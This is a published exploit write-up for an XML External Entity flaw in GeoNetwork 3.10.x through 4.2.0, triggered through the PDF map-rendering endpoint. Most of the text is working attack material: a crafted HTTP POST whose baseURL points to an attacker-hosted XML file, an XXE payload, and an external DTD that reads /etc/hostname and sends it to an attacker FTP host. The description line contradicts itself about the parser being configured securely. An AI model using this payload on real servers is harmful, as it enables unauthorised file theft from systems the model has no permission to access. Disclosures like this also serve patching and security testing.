Share
## https://sploitus.com/exploit?id=PACKETSTORM:167880
# Exploit Title: Geonetwork 4.2.0 - XML External Entity (XXE)  
# Date: 2022-July-11  
# Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb)  
# Vendor Homepage: https://geonetwork-opensource.org/  
# Version: Geonetwork 3.10.X through 4.2.0  
# Tested on: Microsoft Windows Server & Linux  
  
# Description:  
# GeoNetwork 3.1.x through 4.2.0  
# During rendering pdf of map.  
# The XML parser is now configured securely to validate submitted XML document accepted from an untrusted source, which might result in arbitrary files retrieval from the server.  
  
====================PDF RENDERING====================   
  
POST /geonetwork/pdf/create.json HTTP/1.1  
Host: REDACTED  
Content-Type: application/json  
Connection: close  
Content-Length: 563  
  
{"layout":"landscape","srs":"","units":"m","rotation":0,"lang":"fre","dpi":"190","outputFormat":"pdf","layers":[{"opacity":1,"type":"mapServer","baseURL":"http://attacker/xxe.xml","layers":["Tracts",],  
  
"format":"image/svg+xml","name":"xxe","extent":[-20037508.34,-20037508.34,20037508.34,  
  
20037508.34],  
  
"tileSize":[256,256]}],"enableLegends":true,"hasTitle":true,"hasNoTitle":false,"hasAttribution":false,"pages":[{"center":[172063.3620639667,4200083.030736061],"scale":"2.5E7","dataOwner":"ยฉ ","rotation":0,"comment":"ok","title":"ok","langfre":true}]}  
  
  
The parameters baseURL will be your XML files :   
  
====================XXE_ATTACK====================   
  
====================XXE.XML=======================  
  
<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://ATTACKER/x.dtd"> %pe; %param1; ]>  
<foo>&external;</foo>  
  
====================X.dtd=========================  
They will call the x.dtd  
  
<!ENTITY % stuff SYSTEM "file:///etc/hostname">  
<!ENTITY % param1 "<!ENTITY external SYSTEM 'ftp://ATTACKER_FTP/%stuff;'>">